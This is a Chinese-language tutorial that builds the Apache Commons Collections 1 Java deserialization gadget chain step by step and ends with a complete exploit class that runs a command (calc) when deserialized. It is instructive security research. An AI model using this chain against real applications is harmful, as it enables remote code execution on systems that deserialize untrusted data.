先弹一个计算器
利用反射弹一个计算器
InvokerTransformer 写法弹计算器
我们知道Cc1的问题出在
Transformer类
,查看其实现类,找到InvokerTransformer
类
InvokerTransformer
的构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
#三个参数:方法名、输入方法的参数、对象名
InvokerTransformer
的transfomer
方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
### 可以看见这里使用反射调用任意类的方法、且类、方法、方法的参数可控(构造函数)
### 这就是问题所在
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
使用InvokerTransformer
类调用计算器
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
InvokerTransformer
的transform
是危险函数,下面来找找,谁的类调用了transform
函数。
TransfomedMap写法弹计算器
这里我们找到TransfomedMap
类的checkSetValue
方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
输入一个value对象,然后对这个对象调用valueTransformer的transform方法。
这是个protected属性,不会被外部调用、肯定会被自己调用的,找到下面的静态方法,
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
#decorate这个静态方法只处理了valueTransformer,所以keyTransformer可以赋null。
再看看谁调用了checkSetValue
方法
AbstractInputCheckedMapDecorator
类中的MapEntry
静态类调用了checkSetVal
方法
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
MapEntry
常用于遍历Map
,所以可以通过遍历一个Map
来触发MapEntry
从而调用setValue
方法—>>checkSetValue
方法–>>transform
方法
AnnotationInvocationHandler写法弹计算器
现在找找谁调用了setValue
方法
这里在AnnotationInvocationHandler
类中找到了符合要求的setValue
方法
可以看见readObject
方法中 在对Map
做遍历时调用了setValue
方法。刚好契合上面的要求。
看看AnnotationInvocationHandler
的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
###参数一: Class泛形 Annotation 注解 参数二:一个Map
使用AnnotationInvocationHandler
写法弹计算器
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","yiya");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Override.class,transformedMap);
但这里有三个小问题
- 1.Runtime类不能被反序列化
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
transformer版本
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
ChainedTransformer改造
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
-
2.setValue是要传的是Runtime对象,但 readObject方法中的setValue传的是
AnnotationTypeMismatchExceptionProxy
对象。即:
checkSetValue(Object value)
这个value
对象不可控
调试:
现在需要把value改成Runtime.Class
才行。
这里就要用到ConstansTransformer
类:输入什么就返回什么。
这个点虽然控制不了,但只要这里调用的是ConstansTransformer
类的话,transform
就可以接收到Runtime.Class
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),#### 增加的一行
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
- 3.readObject方法中还需要满足俩个if条件
通过调试知道,选择Override注解时,if语句进不去
由图知道434行 获取type的成员方法,而Override没有成员方法。Target注解有成员方法value,
map.put("value","yiya"); ###这里也需要修改一下,因为Target注解有成员方法value,
再调试、可以看见进入了第一个if,这里第二个if判断能不能强转。这里是可以直接进入第二个if的。
EXP
package Cc1.yiayiya.cn;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// valueTransformer.transform(value)
//Class c = Runtime.class;
//Method getRuntimeMethod = c.getMethod("getRuntime",null);
//Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec", String.class);
//execMethod.invoke(r,"calc");
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//
HashMap<Object,Object> map = new HashMap<>();
map.put("value","yiya");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
评论区